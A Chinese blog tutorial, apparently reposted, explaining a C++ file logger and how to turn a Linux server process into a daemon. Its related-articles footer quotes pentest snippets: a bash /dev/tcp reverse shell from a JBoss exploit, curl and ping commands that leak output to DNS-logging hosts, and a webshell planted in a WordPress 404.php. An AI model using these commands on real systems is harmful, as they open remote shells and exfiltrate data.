日志和守护进程

news2024/11/23 16:41:26

 日志

//日志就是服务器在运行的时候要定期的把执行痕迹保留下来
#pragma once
#include <iostream>
#include <string>
#include <cstdio>
#include <cstring>
#include <ctime>
#include <cstdarg>
#include <sys/types.h>
#include <unistd.h>

// 日志是有日志等级的,有的报错无关紧要,有的日志可以反应很严重的错误

const std::string filename = "log/tcpserv er.log";//日志位于当前目录下的log文件夹内部

enum
{
    Debug = 0,//用于调试
    Info,//常规等级,正常显示
    Warning,//告警,并不是错误
    Error,//一般错误,不影响继续向后运行
    Fatal,//致命的错误
    Uknown
};

static std::string toLevelString(int level)
{
    switch (level)
    {
    case Debug:
        return "Debug";
    case Info:
        return "Info";
    case Warning:
        return "Warning";
    case Error:
        return "Error";//这种出错一般不会影响代码的后续运行,比如read的返回值小于0
    case Fatal:
        return "Fatal";//这种错误发生一般会直接exit或者return,比如说创建套接字失败。
    default:
        return "Uknown";
    }
}

static std::string getTime()
{
    time_t curr = time(nullptr);//拿到当前的时间
    struct tm *tmp = localtime(&curr);//将time_t类型转换成为一个结构体
    char buffer[128];
    snprintf(buffer, sizeof(buffer), "%d-%d-%d %d:%d:%d", tmp->tm_year + 1900, tmp->tm_mon+1, tmp->tm_mday,
             tmp->tm_hour, tmp->tm_min, tmp->tm_sec);//tm结构体中关于年的成员是减去了1900的
    return buffer;
}

// 日志格式: 日志等级 时间 pid 消息体
// logMessage(DEBUG, "hello: %d, %s", 12, s.c_str()); // DEBUG hello:12, world
void logMessage(int level, const char *format, ...)// 
{ 
    char logLeft[1024];
    std::string level_string = toLevelString(level);
    std::string curr_time = getTime();
    snprintf(logLeft, sizeof(logLeft), "[%s] [%s] [%d] ", level_string.c_str(), curr_time.c_str(), getpid());//int snprintf(char *str, size_t size, const char *format, ...);将对应的格式信息写入到logleft当中。
    //消息体
    char logRight[1024];
    va_list p;
    va_start(p, format);//让p指向可变参数的起始部分
    vsnprintf(logRight, sizeof(logRight), format, p);//这里不采用遍历字符串找%d、%f来进行分析,也就是va_arg的方式,int vsnprintf(char *str, size_t size, const char *format, va_list ap);
    va_end(p);

    // 打印
    // printf("%s%s\n", logLeft, logRight);

    // 将日志保存到文件中,因为当该进程变成守护进程的时候,这些信息无法打印到显示器上了。
    FILE *fp = fopen(filename.c_str(), "a");
    if(fp == nullptr)return;
    fprintf(fp,"%s%s\n", logLeft, logRight);
    fflush(fp); //刷新,可写也可以不写,因为fclose也会刷新。
    fclose(fp);


    // 预备
    //  va_list p; // char *类型,也就是定义一个指针
    //  int a = va_arg(p, int);  // 根据类型提取参数,我如何知道类型的呢,那就是根据format当中的%d、%p,这些就是我们所说的数据类型。
    //  va_start(p, format); //p指向可变参数部分的起始地址,可变参数一定和前一个参数format是挨着的,相当于对format取地址然后进行偏移从而取到可变参数的起始地址
    //  va_end(p); // p = NULL;
    //我们可以通过上面的一个变量和三个宏函数来提取可变参数的各个部分
}

守护进程

PGID是进程组,SID是会话id,TTY指的是终端文件,?指的是对应进程和终端没有关系,而pts/3指的是终端文件,说明sleep 10000这个进程和该终端文件时关联的,也就是该进程打开了这个终端。所以我们在执行ls、pwd的时候,会有对应的信息打印在该终端设备上,原因是因为进程运行时把该终端文件打开了,然后把对应的内容朝该终端文件中进行了写入。

会话>=进程组>=进程,固定的会话会关联一个固定的终端文件,进程组长就是多个进程当中的第一个,而会话进程也是一个bash进程。

如果我们用xshell再次登录我们的Linux系统,本质上我们的Linux要帮我们创建另外一个会话,未来在新的终端执行命令时,也是在这个会话里面运行的。

jobs查看该会话内部的所有任务,fg可以将任务切换到前台,前台任务进行ctrl + z将可以暂停该任务,然后bg就可以让任务继续在后台运行。这就是shell中控制进程组的方式。

1、进程组分为前台任务和后台任务

2、如果后台任务提到前台,也就是谁当前使用该终端,老的前台任务bash就无法运行了。ctrl+c可以干掉该任务然后让bash重新回到前台运行

3、任何时刻,在会话中只能有一个前台任务在运行!所以我们在命令行启动一个前台进程之后,bash就无法运行了。

4、如果登录就是创建一个会话,bash任务,启动我们的进程,就是在当前会话中创建新的前后台任务,那么如果我们退出呢就是销毁该会话,销毁会话就可能会影响会话内部的所有任务。

一般网络服务器,为了不受到用户登注销的影响,就需要让该进程该会话中独立出来,不要跟任何一个用户会话产生关联,独立成为一个会话,从包含关系变成并列关系,就有了守护进程的运行方式。   pid_t setsid(void)谁调用该函数就把自己设立成为一个新的会话,成功了就返回调用进程的pid。 

为什么要有进程组呢?进程组是用来完成任务的,而任务 

#pragma once
// .\xxx是在前台运行,而.\xxx &是在后台运行
// 1. setsid();
// 2. setsid(), 调用进程,不能是组长!我们怎么保证自己不是组长呢?
// 3. 守护进程a. 忽略异常信号 b. 对于标准输入0,标准输出1,标准错误2要做特殊处理 c. 进程的工作路径可能要更改 /,也就是守护进程是一个全局进程,不想在某个用户文件夹下

#include <cstdlib>
#include <unistd.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#include "log.hpp"
#include "err.hpp"

//守护进程的本质:是孤儿进程的一种!
void Daemon() 
{ 
    // 1. 忽略信号,信号的忽略行为会被子进程继承
    signal(SIGPIPE, SIG_IGN);
    signal(SIGCHLD, SIG_IGN);  
    // 2. 让自己不要成为组长
    if (fork() > 0)//fork大于0就是父进程。于是直接退出就可以了。所以守护进程的本质:是孤儿进程的一种!
        exit(0);
    // 3. 新建会话,自己 成为会话的话首进程
    pid_t ret = setsid();//子进程执行setsid的时候,就不是进程组的第一个了。
    if ((int)ret == -1)
    {
        logMessage(Fatal, "deamon error, code: %d, string: %s", errno, strerror(errno));
        exit(SETSID_ERR);
    }
    // 4. 可选:可以更改守护进程的工作路径
    // chdir("/")
    // 5. 处理后续的对于0,1,2的问题。已经守护进程化了,不想还往显示器进行打印,简单粗暴的做法就是直接close掉,万一代码里面有cin、cout就会直接报错。
    int fd = open("/dev/null", O_RDWR);
    if (fd < 0)
    {
        logMessage(Fatal, "open error, code: %d, string: %s", errno, strerror(errno));
        exit(OPEN_ERR);
    }
    dup2(fd, 0);//把0、1、2重定向到这个信息黑洞当中,直接丢弃掉。
    dup2(fd, 1);
    dup2(fd, 2);
    close(fd);
}

/dev/null是一个字符设备,往其打印内容或者是从其获取内容都是没有任何反应的。 守护进程一启动不会阻塞在前台,而且把自己单独拎出去了,和当前会话就没有关系了。我们通过jobs在该会话中是看不到的,并且通过ps ajx查看该进程会发现它的TTY会变成?,并且自称进程组、自称会话。现在将xshell关闭,该进程仍然可以运行,因为它是守护进程。现在jobs是看不到了,因为他已经独立会话了,不属于我这个会话了。想要关闭该进程需要通过kill。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1987195.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

XFS寻址模拟

XFS寻址 XFS 大部分时候都会用绝对地址&#xff0c;即包含AG信息和相对AG偏移量的信息&#xff0c;但有些时候会使用相对地址“相对AG的偏移量” [rootip-172-31-35-68 ~]# xfs_db -r /dev/nvme1n1 xfs_db> sb 0 xfs_db> p magicnum 0x58465342 blocksize 4096 dbloc…

丰富IO接口的ARMxy工业计算机在装卸机中的应用

在工业装卸领域&#xff0c;高效、精准的装卸作业对于提高生产效率和降低成本至关重要。ARMxy 工业计算机凭借其丰富的 IO 接口和强大的性能&#xff0c;成为工业装卸机的智能控制核心&#xff0c;为装卸作业带来了全新的变革。 ARMxy 工业计算机自带丰富的 IO 接口&#xff0c…

【C++】4.类和对象(2)

文章目录 1.类的默认成员函数2.构造函数 1.类的默认成员函数 默认成员函数就是用户没有显式实现&#xff0c;编译器会自动生成的成员函数称为默认成员函数。一个类&#xff0c;我们不写的情况下编译器会默认生成以下6个默认成员函数&#xff0c;需要注意的是这6个中最重要的是前…

解决戴尔台式电脑休眠后无法唤醒问题

近期发现有少量戴尔的台式机会有休眠后无法唤醒的问题&#xff0c;具体现象就是电脑在休眠后&#xff0c;电源指示灯以呼吸的频率闪烁&#xff0c;无论怎么点鼠标和键盘都没有反应&#xff0c;并且按开机按钮也没法唤醒&#xff0c;只能是长按开机键强制关机再重启才行&#xf…

Jboss漏洞

三、Jboss 3.1 CVE-2015-7501 Jboss JMXInvokerServlet 反序列化漏洞 漏洞复现 1.POC&#xff0c;访问地址 /invoker/JMXInvokerServlet返回如下&#xff0c;说明接口开放&#xff0c;此接口存在反序列化漏洞 3.1 8080 工具 bash -i>& /dev/tcp/ip/4444 0>&…

Python | Leetcode Python题解之第327题区间和的个数

题目&#xff1a; 题解&#xff1a; class Solution:def countRangeSum(self, nums: List[int], lower: int, upper: int) -> int:pre list(accumulate(nums, initial0))nums sorted(pre)mx len(nums)b BIT(mx 1)ans 0# 统计[x-upper,x-lower]的个数for i, x in enum…

sql注入靶场搭建

1.安装小皮面板&#xff08;PhpStudy&#xff09; 1.从官网下载&#xff1a;http://www.xp.cn 2、Sqli-labs环境安装 准备好sqli-labs-php7-master文件 3.安装之前确保本地没有下载mysql服务器 如果电脑下载了MySQL可以把MySQL的服务停掉 此电脑>右键>管理>服务…

wordpress漏洞复现

首先打开环境 点击【外观】——>【编辑】选择404.php并将文件改为我们的一句话木马 然后我们访问刚刚修改的文件内容说明我们注入成功就可以了

k8s创建secret并在container中获取secret

k8s创建secret并在container中获取secret 本文使用的deployment和service与我的上一篇文章一样。link也放在下面了&#xff0c;如果不懂什么事deployment和service&#xff0c;可以先看我的上一篇文章。 k8s使用kustomize来部署应用 下面我们将通过创建secret开始。secret是我…

C++ exe程序内存占用分析之Linux篇

基础分析 git clone --recursive https://github.com/google/bloatycd bloatygit submodule updatemkdir buildcd buildcmake ..make -j8bloaty bloatyFILE SIZE VM SIZE -------------- --------------35.5% 16.9Mi 0.0% 0 .debug_info25.2% 12.0Mi…

代码随想录27期|Python|Day38|509斐波那契|738.爬楼梯|746.746. 使用最小花费爬楼梯

贴一下动态规划的步骤&#xff08;5步&#xff09;&#xff0c;就像是之前递归一样&#xff0c;需要每次落实到位。 确定dp数组&#xff08;dp table&#xff09;以及下标的含义确定递推公式dp数组如何初始化确定遍历顺序举例推导dp数组 ​​​​​509. 斐波那契 注意到n的范…

WEB渗透Web突破篇-命令执行

命令执行 >curl http://0ox095.ceye.io/whoami >ping whoami.b182oj.ceye.io >ping %CD%.lfofz7.dnslog.cn & cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 &…

在网页上进行 3D 产品展示的开发需要用到哪些器材和技术?

问题补充&#xff1a; 3D产品展示就是根据用户输入的数据&#xff0c;比如身高&#xff0c;体重&#xff0c;爱好等等的信息在网页上形成一个3D的人体模型&#xff0c;并根据网站的数据库自动为用户挑选合适的衣服并展示在生成的3D模型上。 在网页上进行3D产品展示的开发&…

在idea中将JDK17换成JDK8

五步&#xff1a;&#xff08;改五个地方&#xff09; pom文件&#xff1a; 1&#xff1a;SpringBoot版本改成2.多 2&#xff1a;jdk版本改成8 3&#xff1a;蓝框中的数字改成1.8. 4&#xff1a;SDK改成1.8 5&#xff1a;红框内数字改成8

gin-vue-admin框架遇到AxiosError:Network Error怎么解决?

flipped-aurora/gin-vue-admin: &#x1f680;ViteVue3Gin的开发基础平台&#xff0c;支持TS和JS混用。它集成了JWT鉴权、权限管理、动态路由、显隐可控组件、分页封装、多点登录拦截、资源权限、上传下载、代码生成器【可AI辅助】、表单生成器和可配置的导入导出等开发必备功能…

HTML5+CSS3笔记(Xmind格式):第三天

Xmind鸟瞰图&#xff1a; 简单文字总结&#xff1a; 过渡 transition: 过渡属性 过渡时间 运动曲线 何时开始 2D变形transform &#xff1a; 1.平移&#xff1a;translate(单位px) 2.缩放&#xff1a;scale(默认1&#xff0c;大于1放大&#xff0c;小于1缩小) 3…

Laravel 使用Excel导出的文件中,指定列数据格式为日期,方便后期的数据筛选操作

背景 最近&#xff0c;后台运维要求导出的 Excel文件&#xff0c;对于时间的筛选&#xff0c;能满足年份、月份的选择 通过了解&#xff0c;发现&#xff1a; 先前导出的文件&#xff0c;默认列数据都是字符串&#xff08;文本&#xff09;格式 同时&#xff0c;因为用的是 Lar…

H3C MSR NAT66配置指北

正文共&#xff1a;1456 字 14 图&#xff0c;预估阅读时间&#xff1a;1 分钟 通过前面的介绍&#xff08;企业路由器配置IPv6家用宽带的PPPoE拨号示例&#xff09;&#xff0c;想必你已经可以实现让MSR路由器通过PPPoE拨号接入IPv6网络。 正常来讲&#xff0c;通过前面的配置…

PLSQL 无客户端连接服务器设置

文章目录 1 概述1.1 使用场景 2 步骤2.1 下载 PLSQL 客户端2.2 观察 工具-首选项-OCI库&#xff08;自动检测为空&#xff09;2.3 下载 instantclient2.4 配置环境变量2.5 配置 PLSQL 3 测试 1 概述 1.1 使用场景 场景&#xff1a;只需要连接服务器上的 Oracle&#xff0c;而…

C++:多态二

在面向对象方法中&#xff0c;所谓多态性就是不同对象收到相同消息&#xff0c;产生不同的行为。在C程序设计中&#xff0c;多态性是指用一个名字定义不同的函数&#xff0c;这些函数执行不同但又类似的操作&#xff0c;这样就可以用同一个函数名调用不同内容的函数。换言之&am…